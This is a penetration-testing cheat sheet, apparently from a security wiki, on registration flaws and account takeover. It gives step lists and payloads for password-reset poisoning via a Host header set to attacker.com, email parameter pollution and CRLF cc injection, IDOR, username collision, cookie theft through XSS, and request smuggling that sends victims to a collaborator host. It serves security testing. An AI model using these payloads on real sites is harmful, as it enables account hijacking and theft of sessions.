Registration & Takeover Vulnerabilities

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Registration Takeover
Duplicate Registration
Try to generate using an existing username
Check varying the email:
uppsercase
[email protected]
add some some in the email
special characters in the email name (%00, %09, %20)
Put black characters after the email: [email protected] a
[email protected]@attacker.com
[email protected]@gmail.com
Username Enumeration
Check if you can figure out when a username has already been registered inside the application.
Password Policy
Creating a user check the password policy (check if you can use weak passwords).
In that case you may try to bruteforce credentials.
SQL Injection
​Check this page to learn how to attempt account takeovers or extract information via SQL Injections in registry forms.
Oauth Takeovers
OAuth to Account takeover
SAML Vulnerabilities
SAML Attacks
Change Email
when registered try to change the email and check if this change is correctly validated or can change it to arbitrary emails.
More Checks
Check if you can use disposable emails
Long password (>200) leads to DoS
Check rate limits on account creation
Use [email protected]burp_collab.net and analyze the callback
Password Reset Takeover
Password Reset Token Leak Via Referrer
1.Request password reset to your email address
2.Click on the password reset link
3.Don’t change password
4.Click any 3rd party websites(eg: Facebook, twitter)
5.Intercept the request in Burp Suite proxy
6.Check if the referer header is leaking password reset token.
Password Reset Poisoning
1.Intercept the password reset request in Burp Suite
2.Add or edit the following headers in Burp Suite : Host: attacker.com, X-Forwarded-Host: attacker.com
3.Forward the request with the modified header
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
4.Look for a password reset URL based on the host header like : https://attacker.com/reset-password.php?token=TOKEN
Password Reset Via Email Parameter
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# parameter pollution
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[email protected].com&[email protected].com
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​
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# array of emails
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{"email":["[email protected]","[email protected]"]}
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​
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# carbon copy
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[email protected].com%0A%0Dcc:[email protected].com
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[email protected].com%0A%0Dbcc:[email protected].com
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​
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# separator
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[email protected].com,[email protected].com
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[email protected].com%[email protected].com
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[email protected].com|[email protected].com
Copied!
IDOR on API Parameters
1.Attacker have to login with their account and go to the Change password feature.
2.Start the Burp Suite and Intercept the request
3.Send it to the repeater tab and edit the parameters : User ID/email
powershell POST /api/changepass [...] ("form": {"email":"[email protected]","password":"securepwd"})
Weak Password Reset Token
The password reset token should be randomly generated and unique every time.
Try to determine if the token expire or if it’s always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.
Timestamp
UserID
Email of User
Firstname and Lastname
Date of Birth
Cryptography
Number only
Small token sequence ( characters between [A-Z,a-z,0-9])
Token reuse
Token expiration date
Leaking Password Reset Token
1.Trigger a password reset request using the API/UI for a specific email e.g: [email protected]
2.Inspect the server response and check for resetToken
3.Then use the token in an URL like https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Password Reset Via Username Collision
1.Register on the system with a username identical to the victim’s username, but with white spaces inserted before and/or after the username. e.g: "admin "
2.Request a password reset with your malicious username.
3.Use the token sent to your email and reset the victim password.
4.Connect to the victim account with the new password.
The platform CTFd was vulnerable to this attack.
See: CVE-2020-7245​
Account Takeover Via Cross Site Scripting
1.Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : *.domain.com
2.Leak the current sessions cookie
3.Authenticate as the user using the cookie
Account Takeover Via HTTP Request Smuggling
1. Use smuggler to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Craft a request which will overwrite the POST / HTTP/1.1 with the following data:
GET http://something.burpcollaborator.net HTTP/1.1 X: with the goal of open redirect the victims to burpcollab and steal their cookies
3. Final request could look like the following
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GET / HTTP/1.1
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Transfer-Encoding: chunked
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Host: something.com
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User-Agent: Smuggler/v1.0
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Content-Length: 83
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0
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​
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GET http://something.burpcollaborator.net  HTTP/1.1
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X: X
Copied!
Hackerone reports exploiting this bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666​
Account Takeover via CSRF
1.Create a payload for the CSRF, e.g: “HTML form with auto submit for a password change”
2.Send the payload
Account Takeover via JWT
JSON Web Token might be used to authenticate an user.
Edit the JWT with another User ID / Email
Check for weak JWT signature
JWT Vulnerabilities (Json Web Tokens)
References
​https://salmonsec.com/cheatsheet/account_takeover​
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Last modified 2mo ago